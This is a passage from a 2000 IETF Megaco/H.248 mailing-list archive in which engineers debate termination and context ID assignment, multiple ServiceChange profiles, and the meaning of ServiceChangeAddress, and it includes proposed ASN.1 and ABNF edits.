Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e85DeJh09734 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5 Sep 2000 19:10:20 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256951.004A1973 ; Tue, 5 Sep 2000 18:59:21 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256951.004A187D.00@sandesh.hss.hns.com>
Date:         Tue, 5 Sep 2000 19:09:32 +0530
Reply-To: sgautam@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Sandeep Gautam <sgautam@HSS.HNS.COM>
Subject:      Re: About creating contextID and terimnationID
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi List!
Sorry to be late on the subject, but my doubts:-

Why shouldnt partially specified names be allowed for ephemeral terminations.
The assumption is that for ephemeral terminations there is only one pool from
which all ephemeral terminations can be created. But suppose that I have two
ethernet ports- one of them is on a wan with normal IP nos and the other is
connected to my LAN and has local IP nos. on its subnet. Now I think it makes
sense for the MGC to tell MG as to which IP ports to use for creating the
ephemeral termination. For eg just l;ike TRUNK1/xxx for physical terminations,
we can have RTP_IP1/xxx for requesting that the ephemeral be created on that
particular IP and port no. combination. Of course we can specify the IP
addresses in Local and Remote descriptors, but this can also be one way.

Again I may have two network connections. One of them assures me a QOS based on
some transport/network layer QOS protocols. MGC can use a naming schema to
partially specify on which network the ephemeral termination be created.
Cant we have pools of RTP ehemeral termination ids( not yet created, but
potential) and let the MGC specify as to from which pool the MG should create
the ephemeral termination?

Again I am not sure but if we use ephemeral terminations to make ATM aal2
connections, maybe we might have pools there also.

Regards,
Sandeep Gautam





Christian Groves <Christian.Groves@ERICSSON.COM> on 08/31/2000 05:52:32 AM

Please respond to Christian Groves <Christian.Groves@ERICSSON.COM>

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Sandeep Gautam/HSS)

Subject:  Re: About creating contextID and terimnationID




G'Day Brian,

I think this seems like a resolution to the issue. Do you think this is
something for the implementor's guide? If so can you suggest some text?

Cheers, Christian

"Rosen, Brian" wrote:
>
> Okay, I believe that the MG instantiates all terminations,
> and when it instantiates them, it names them.  For physical
> terminations, this is done at boot time.  For ephemeral
> terminations, it is done when it is requested, via an Add.
>
> I think that in all cases, the MGC specifies CHOOSE for
> an ephemeral, and the MG obliges by creating the termination,
> and creating an ID.  I think this is best because then
> the MG uniformly creates names, and the MGC uniformly
> uses the names the MG defines.
>
> I think that there is no advantage in allowing the MGC to
> create a terminationId for ephemerals, and there is
> substantial simplicity to the MG to always be the
> creator of terminationIds and ContextIds.
>
> Brian
>
> > -----Original Message-----
> > From: John Segers [mailto:jsegers@LUCENT.COM]
> > Sent: Wednesday, August 30, 2000 9:00 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: About creating contextID and terimnationID
> >
> >
> > Brian,
> >
> > You seem to distinguish between creating and specifying Ids,
> > but I don't
> > understand the distinction.  Can you elaborate?
> >
> > I agree with your text for physical terminations, but I'm not sure it
> > isn't valid to have the MGC use a specific Id to create an ephemeral
> > termination.
> >
> > John
> >
> > "Rosen, Brian" wrote:
> > >
> > > Hmmm
> > >
> > > The original question was "who creates Ids".  I believe
> > it's always the
> > > MG that creates Ids.  For example, the MGC can never specify the
> > > TerminationId in an Add for an ephemeral.  Clearly, the MGC never
> > > specifies the ContextId for a previously non-existing Context.
> > >
> > > Your issue seems to be who specifies Ids.
> > >         For physical terminations, I agree that the MGC can
> > specify one,
> > >                 or it can specify CHOOSE, in which case the MG will
> > >                 pick one
> > >         For ephemeral terminations, I believe the MG always
> > specifies one,
> > >                 so that the MGC must always specify CHOOSE.
> > >
> > > We could clear up the language you cite to make this clearer.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: John Segers [mailto:jsegers@LUCENT.COM]
> > > > Sent: Wednesday, August 30, 2000 8:26 AM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: About creating contextID and terimnationID
> > > >
> > > >
> > > > Brian,
> > > >
> > > > It just so happens that I looked at section 7.2.1 (Add)
> > and found the
> > > > following text:
> > > >
> > > > > The TerminationID specifies the termination to be added to
> > > > the Context.
> > > > > The Termination is either created, or taken from the
> > null Context.
> > > > > For an existing Termination, the TerminationID would be
> > specific.
> > > > > For a Termination that does not yet exist, the TerminationID is
> > > > > specified as CHOOSE  in the command. The new
> > TerminationID will be
> > > > > returned.
> > > >
> > > > This text is not particularly clear, but seems to say
> > that specific
> > > > physical Terminations are designated in Add commands, while
> > > > CHOOSE must
> > > > be used for ephemerals.
> > > >
> > > > In my opinion we shouldn't have this restriction in the
> > protocol: in
> > > > some situations you may want to have the MG select a termination
> > > > (outgoing circuit within a trunk), in some you have to specify the
> > > > termination (access GW with subscriber lines).
> > > >
> > > > It may make sense to have profiles impose such restrictions.
> > > >
> > > > Cheers,
> > > >
> > > > John
> > > >
> > > > Brian Rosen wrote:
> > > > > No, the MG creates Contexts, and their IDs, as well as all
> > > > TerminationIds (both
> > > > > physical and ephemeral).  It is not possible for the MGC to
> > > > create contextIds or
> > > > > terminationIds.
> > > > >
> > > > > Brian
> > > >
> > > >
> > > >
> > > > --
> > > > John Segers                                  email:
> > jsegers@lucent.com
> > > > Lucent Technologies
> >  Room HE 303
> > > > Dept. Forward Looking Work                      phone:
> > +31 35 687 4724
> > > > P.O. Box 18, 1270 AA  Huizen                      fax:
> > +31 35 687 5954
> > > >
> >
> > --
> > John Segers                                  email: jsegers@lucent.com
> > Lucent Technologies                                        Room HE 303
> > Dept. Forward Looking Work                      phone: +31 35 687 4724
> > P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 09:53:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02239
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 09:53:29 -0400 (EDT)
Received: from standards (47.234.32.16:1424) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB900A6@standards.nortelnetworks.com>; Tue, 5 Sep 2000 9:38:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16590 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 09:38:33 -0400
Received: from qhars002.nortel.com (47.101.112.102:54410) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB900A5@standards.nortelnetworks.com>; Tue, 5 Sep 2000 9:38:28
          -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 5 Sep 2000 14:50:27 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 5 Sep 2000 09:50:10 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7CDZT>; Tue, 5 Sep 2000 09:50:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01740.2C24F820"
Message-ID:  <353093573B82D411889E0000F808216648E32A@zcard00q.ca.nortel.com>
Date:         Tue, 5 Sep 2000 09:49:55 -0400
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01740.2C24F820
Content-Type: text/plain;
        charset="iso-8859-1"

Formal rules for what a profile can and cannot specify are not currently
defined.  At one point, I proposed some rules, but these turned out to be
contentious, were not agreed, and have not been followed up. This issue was
deferred to later version of the Megaco/H.248 Protocol in the Washington
meeting last year, if I recall correctly, and left at the 1 profile rule we
currently have in place.  Without these formal rules, it is difficult to
know what the effect of allowing multiple profiles would be.  Therefore, I
think its better *for now* to stick with a single profile.  I don't consider
it an error, but actually an intentional decision.

Several side effects of allowing multiple profiles would be difficult to
sort out.  For example, profiles can (and I believe in many cases absolutely
must) specify which optional aspects are used by the MG side, for example
making specific selection on encoding and transport.  Profiles may also
define specific termination organization, naming conventions etc.  If an MG
supports 2 or more profiles, and these do not each make the same selections
or assumptions, how to sort out which are actually in use?  This quickly
becomes a deep rat hole, and could add enormously to the complexity of both
MG and MGC applications, while not helping interoperability (maybe even
hurting it).  This defeats the intent of profiles -- to improve
interoperability and provide simplifying assumptions for specific
applications of the Protocol.

Since profiles essentially define particular applications of the
Megaco/H.248 Protocol, what the current rule is really saying is an MG
supports 1 application if it uses a profile to declare this to its
controlling MGC.  Of course, multiple virtual MGs could still be in
operation on the same physical device, or profiles could be defined which
capture more than one application, so there are ways around this.

Looking forward a bit, to definition of the profile rules, one possible
approach would be to provide a formalism for profiles to be extended and/or
versioned, similar to the sub-classing-like approach used by package
definition now.  This would mean we could build profiles on each other
without having contentions over optional elements.

I remain quite interested in this topic, and feel this would be a good thing
to include in any extension of the Megaco WG's charter for consideration in
version 2 (once some version 1 implementation experience is gained of
course).

For implementor's guide, I suggest some explanatory text on what profiles
are intended to do would be in order, but don't think the implementor's
guide should modify the Protocol.

-- Peter Blatherwick

-----Original Message-----
From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
Sent: Monday, September 04, 2000 20:58
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Profiles in Service Change


G'Day all,

I discussion on another email exploder (MSF) it was pointed out that the
ServiceChange only supports one profile to be returned. I would have
thought that a MG could support more than one profile.

Do people consider this to be an error to be updated in the
implementor's guide?


If so the following changes probably would be necessary.

7.2.8 ServiceChange
The optional ServiceChangeProfile parameter specifies the Profile[/s]
(if any) of the protocol supported.  The ServiceChangeProfile includes
the version of the profile supported.

A.2
ServiceChangeParm ::= SEQUENCE
{
        serviceChangeMethod     ServiceChangeMethod,
        serviceChangeAddress    ServiceChangeAddress OPTIONAL,
        serviceChangeVersion    INTEGER(0..99) OPTIONAL,
>>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile OPTIONAL,
        serviceChangeReason     Value,
        serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
                                    -- 32 bit unsigned integer
        serviceChangeMgcId      MId OPTIONAL,
        timeStamp               TimeNotation OPTIONAL,
        nonStandardData         NonStandardData OPTIONAL,
        ...
}

ServiceChangeResParm ::= SEQUENCE
{
        serviceChangeMgcId      MId OPTIONAL,
        serviceChangeAddress    ServiceChangeAddress OPTIONAL,
        serviceChangeVersion    INTEGER(0..99) OPTIONAL,
>>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile OPTIONAL,
        ...
}

B.2
>>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version


Cheers, Christian



------_=_NextPart_001_01C01740.2C24F820
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Formal rules for what a profile =
can and cannot specify are not currently defined.&nbsp; At one point, I =
proposed some rules, but these turned out to be contentious, were not =
agreed, and have not been followed up. This issue was deferred to later =
version of the Megaco/H.248 Protocol in the Washington meeting last =
year, if I recall correctly, and left at the 1 profile rule we =
currently have in place.&nbsp; Without these formal rules, it is =
difficult to know what the effect of allowing multiple profiles would =
be.&nbsp; Therefore, I think its better *for now* to stick with a =
single profile.&nbsp; I don't consider it an error, but actually an =
intentional decision.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Several side effects of allowing =
multiple profiles would be difficult to sort out.&nbsp; For example, =
profiles can (and I believe in many cases absolutely must) specify =
which optional aspects are used by the MG side, for example making =
specific selection on encoding and transport.&nbsp; Profiles may also =
define specific termination organization, naming conventions etc.&nbsp; =
If an MG supports 2 or more profiles, and these do not each make the =
same selections or assumptions, how to sort out which are actually in =
use?&nbsp; This quickly becomes a deep rat hole, and could add =
enormously to the complexity of both MG and MGC applications, while not =
helping interoperability (maybe even hurting it).&nbsp; This defeats =
the intent of profiles -- to improve interoperability and provide =
simplifying assumptions for specific applications of the =
Protocol.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Since profiles essentially =
define particular applications of the Megaco/H.248 Protocol, what the =
current rule is really saying is an MG supports 1 application if it =
uses a profile to declare this to its controlling MGC.&nbsp; Of course, =
multiple virtual MGs could still be in operation on the same physical =
device, or profiles could be defined which capture more than one =
application, so there are ways around this.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Looking forward a bit, to =
definition of the profile rules, one possible approach would be to =
provide a formalism for profiles to be extended and/or versioned, =
similar to the sub-classing-like approach used by package definition =
now.&nbsp; This would mean we could build profiles on each other =
without having contentions over optional elements.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">I remain quite interested in =
this topic, and feel this would be a good thing to include in any =
extension of the Megaco WG's charter for consideration in version 2 =
(once some version 1 implementation experience is gained of =
course).&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">For implementor's guide, I =
suggest some explanatory text on what profiles are intended to do would =
be in order, but don't think the implementor's guide should modify the =
Protocol.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">-- Peter Blatherwick</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">-----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">From: Christian Groves [<A =
HREF=3D"mailto:Christian.Groves@ERICSSON.COM">mailto:Christian.Groves@ER=
ICSSON.COM</A>]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">Sent: Monday, September 04, =
2000 20:58</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">Subject: Profiles in Service =
Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Courier New">G'Day all,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">I discussion on another email =
exploder (MSF) it was pointed out that the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">ServiceChange only supports one =
profile to be returned. I would have</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">thought that a MG could support =
more than one profile.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Do people consider this to be an =
error to be updated in the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">implementor's guide?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Courier New">If so the following changes =
probably would be necessary.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">7.2.8 ServiceChange</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">The optional =
ServiceChangeProfile parameter specifies the Profile[/s]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">(if any) of the protocol =
supported.&nbsp; The ServiceChangeProfile includes</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">the version of the profile =
supported.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">A.2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">ServiceChangeParm ::=3D =
SEQUENCE</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">{</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeMethod&nbsp;&nbsp;&nbsp;&nbsp; ServiceChangeMethod,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeAddress&nbsp;&nbsp;&nbsp; ServiceChangeAddress =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeVersion&nbsp;&nbsp;&nbsp; INTEGER(0..99) OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeProfile&nbsp;&nbsp;&nbsp; SEQUENCE OF ServiceChangeProfile =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeReason&nbsp;&nbsp;&nbsp;&nbsp; Value,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeDelay&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INTEGER(0..4294967295) =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- 32 bit unsigned integer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeMgcId&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MId OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
timeStamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; TimeNotation OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
nonStandardData&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
NonStandardData OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">}</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">ServiceChangeResParm ::=3D =
SEQUENCE</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">{</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeMgcId&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MId OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeAddress&nbsp;&nbsp;&nbsp; ServiceChangeAddress =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeVersion&nbsp;&nbsp;&nbsp; INTEGER(0..99) OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeProfile&nbsp;&nbsp;&nbsp; SEQUENCE OF ServiceChangeProfile =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">}</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">B.2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier =
New">&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceChangeProfile =3D =
ProfileToken EQUAL NAME SLASH Version</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Cheers, Christian</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C01740.2C24F820--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 11:25:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04890
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 11:25:22 -0400 (EDT)
Received: from standards (47.234.32.16:3906) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90112@standards.nortelnetworks.com>; Tue, 5 Sep 2000 11:11:34 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16727 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 11:11:34 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90110@standards.nortelnetworks.com>; Tue, 5 Sep 2000 11:11:33
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id IAA27759; Tue, 5 Sep 2000 08:24:24 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF6787E1@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B51131.D51B7637@cisco.com>
Date:         Tue, 5 Sep 2000 11:28:49 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
X-cc:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Let's take a step back here and ask ourselves what we are trying to achieve:

1. We have a need to identify the entity we wish to communicate with
2. We have a need to communicate with that entity.

This is a classical naming issue that doesn't need to become overly
complicated. In order to get from the name in 1 to the address (or route) in
2, you need to perform name resolution in the cases where the name itself is
not an address. For domain names, this name resolution is achieved by DNS,
for IP-addresses, it should normally be a NOP. By having both
ServiceChangeMGGId and ServiceChangeAddress, you are effectively providing
an alternate name resolution mechanism which overrides DNS and allows one
IP-address to map to another. We should not be doing that, and I also note
that this was probably not the authors' intent, since ServiceChangeAddress
and ServiceChangeMGCId are not both allowed in a single command.

That still leaves open the question of exactly what ServiceChangeAddress
then is, and I believe Brian answered that earlier with his two proposals.
In a perfect world, I would prefer getting rid of ServiceChangeAddress, but
we may be beyond that. Does it make sense to allow just a port number then ?
Considering that we already allow for port in mId, port is part of the name
and for the same reasons as we shouldn't map one IP-address to another, we
shouldn't map one port to another either IMO. If the MGC (or MG) wants the
other party to talk to it on another port, it simply sends back another
ServiceChangeMGCId with that port number in it.

-- Flemming



"Rosen, Brian" wrote:

> It depends on what you want to have happen.
>
> If you want the MG, on receipt of a reply with a ServiceChangeAddress,
> to tear down it's current transport connection, create a new one,
> and stand by for messages from the MGC, then I suppose you would be
> correct.
>
> If it was TCP (and I guess SCTP), this is pretty weird, because the
> MG established a full duplex connection, but the next message is
> almost certainly from the MGC.  The MGC is going to have to watch for
> this carefully, and not send messages until the new channel is up.
>
> Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> tearing down the transport, establishing a new one, and sending
> a new ServiceChange.  The MGC "fires and forgets" -- the new
> ServiceChange, at the "new" address, looks like a complete new start.
>
> Brian
>
> -----Original Message-----
> From: Christian Groves
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Sent: 9/3/00 7:38 PM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
> G'Day Brian and Flemming,
>
> I saw that the difference between when you use ServiceChangeAddress and
> ServiceChangeMid was that the ServiceChangeAddress was used when talking
> to an already contacted physical MGC. The ServiceChangeMid was used to
> contact a physically seperate MGC. So I don't see the need of
> disallowing anything but the port in IP as the MGC may have a range of
> addresses.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I thought you might say that, I've been thinking about it
> > since I sent the message.
> >
> > Posing the question slightly differently, if the ServiceChangeAddress
> > can do what ServiceChangeMid can do, so why have two mechanisms?
> > The only difference would be the MGs actions.  If you used
> > ServiceChangeAddress,
> > the MG would not send a new ServiceChange command to the new address.
> > If you used ServiceChangeMid, it would.  The end result would be the
> same.
> >
> > We can:
> >         Explicitly disallow ServiceChangeAddress from being used to
> >                 change anything but IP Port when used with IP
> >         Get rid of one of the two of them
> >
> > I favor the former, as that is easiest, is most consistent with
> > history, and makes the most sense to me.  I'll note that what
> > we call ServiceChangeAddress used to be "port".  It got
> > changed when we realized "port" wouldn't make sense if it was
> > not an IP transport.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > I think the issue is that you can have the same MGC have multiple
> > > > IP addresses.  You accept the association, but change the address.
> > > > Say, a pool of servers appearing to be one MGC.
> > >
> > > I'm not sure I fully understand what an association is then.
> > > What's the
> > > difference/relationship between the association address and the
> > > ServiceChangeMgcId (which may itself contain an address or
> indirectly
> > > refer to a number of addresses through DNS) ?
> > >
> > > -- Flemming
> > >
> > >
> > > >
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > > is a port number
> > > > > > that is, the IP address doesn't change, but the port does.
> > > > > >
> > > > > > The ABNF sez:
> > > > > > serviceChangeAddress = ServiceChangeAddressToken EQUAL VALUE
> > > > > >
> > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > >
> > > > > > The example shows just a port number.
> > > > >
> > > > > Actually, I thought that's all that would be allowed in the
> > > > > case of IP. If
> > > > > not, how can it be within the "context of the association
> > > > > currently being
> > > > > negotiated", and how would it then relate to ServiceChangeMgcId
> ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > Should that be legal?  Should you have to specify the IP
> address
> > > > > > as x.x.x.x:p?
> > > > > >
> > > > > > Brian
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> > >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 13:09:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08992
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 13:09:09 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9021F@standards.nortelnetworks.com>; Tue, 5 Sep 2000 12:53:50 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17054 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 12:53:49 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
